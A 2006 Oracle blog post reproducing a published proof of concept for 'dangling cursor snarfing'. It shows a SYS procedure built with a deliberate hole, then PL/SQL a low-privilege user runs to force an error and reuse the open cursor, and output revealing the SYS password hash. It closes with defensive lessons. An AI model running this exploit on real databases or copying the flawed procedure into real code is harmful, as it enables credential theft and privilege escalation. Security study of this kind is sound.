msgbartop
News, views, tips and tricks on Oracle and other fun stuff
msgbarbottom

See How To Hack Oracle Using Dangling Cursor Snarfing

David Litchfield published a paper demonstrating how an unclosed or dangling cursor created and used by DBMS_SQL can lead to a security hole.

I ran his proof of this vulnerability on my Oracle Database 10g Express Edition database.

Connected as SYS:

SQL> CREATE OR REPLACE PROCEDURE pwd_compare(p_user VARCHAR) IS
  2    cursor_name INTEGER;
  3    v_pwd VARCHAR2(30);
  4    i INTEGER;
  5  BEGIN
  6
  7    IF p_user != 'SYS' THEN
  8      cursor_name := dbms_sql.open_cursor;
  9      DBMS_OUTPUT.PUT_LINE('CURSOR: ' || cursor_name);
 10      dbms_sql.parse(cursor_name,
 11        'SELECT PASSWORD FROM SYS.DBA_USERS WHERE USERNAME = :u',
 12        dbms_sql.native);
 13      dbms_sql.bind_variable(cursor_name,   ':u',   p_user);
 14      dbms_sql.define_column(cursor_name,   1,   v_pwd,   30);
 15      i := dbms_sql.EXECUTE(cursor_name);
 16
 17      IF dbms_sql.fetch_rows(cursor_name) > 0 THEN
 18        dbms_sql.column_value(cursor_name,   1,   v_pwd);
 19      END IF;
 20
 21      IF v_pwd = '0123456789ABCDEF' THEN
 22        DBMS_OUTPUT.PUT_LINE('Hmmm....');
 23      END IF;
 24
 25      dbms_sql.close_cursor(cursor_name);
 26    END IF;
 27
 28  END;
 29  /

Procedure created.

SQL> GRANT EXECUTE ON pwd_compare TO PUBLIC;

Grant succeeded.

Note that, in the code above, there is no exception handling so if there is an error before the cursor is closed then the cursor will be left dangling.

Now, let’s connect as HR, a lower privileged user than SYS, and execute the procedure pwd_compare making sure we generate an exception in it:

SQL> DECLARE x VARCHAR(32000);
  2  i INTEGER;
  3  BEGIN
  4    FOR i IN 1 .. 10000
  5    LOOP
  6      x := 'B' || x;
  7    END LOOP;
  8
  9    sys.pwd_compare(x);
 10  END;
 11  /
CURSOR: 6
DECLARE x VARCHAR(32000);
*
ERROR at line 1:
ORA-01460: unimplemented or unreasonable conversion requested
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1202
ORA-06512: at "SYS.DBMS_SQL", line 323
ORA-06512: at "SYS.PWD_COMPARE", line 15
ORA-06512: at line 9

What we have now is a dangling cursor with an ID number of 6. Armed with this piece of information we can rebind the username associated with the query, using SYS, then re-execute the query and extract the password hash for the SYS user bypassing the logic in the procedure pwd_compare:

SQL> DECLARE cursor_name INTEGER;
  2  i INTEGER;
  3  pwd VARCHAR2(30);
  4  BEGIN
  5    cursor_name := 6;
  6    dbms_sql.bind_variable(cursor_name,   ':u',   'SYS');
  7    dbms_sql.define_column(cursor_name,   1,   pwd,   30);
  8    i := dbms_sql.EXECUTE(cursor_name);
  9
 10    IF dbms_sql.fetch_rows(cursor_name) > 0 THEN
 11      dbms_sql.column_value(cursor_name,   1,   pwd);
 12    END IF;
 13
 14    dbms_sql.close_cursor(cursor_name);
 15    DBMS_OUTPUT.PUT_LINE('PWD: ' || pwd);
 16  END;
 17  /
PWD: 586EEA79959C07B1

PL/SQL procedure successfully completed.

Interesting!

Lessons learned:

  1. Always perform extensive input validation.
  2. Always add exception handlers to your blocks.
  3. Always make sure to close your cursors.

Sources and resources:


Filed in Oracle, Security, Tips on 29 Nov 06 | Tags: , ,


Reader's Comments

  1. |
    1. do not use ‘dbms_sql’. ‘Use Execute Immediate’ or ‘For r in (select ..’ loops, or explicit cursor definitions (but not global) In this situation Oracle closes cursors for you.

    Any way this is very intresting sample. Paweł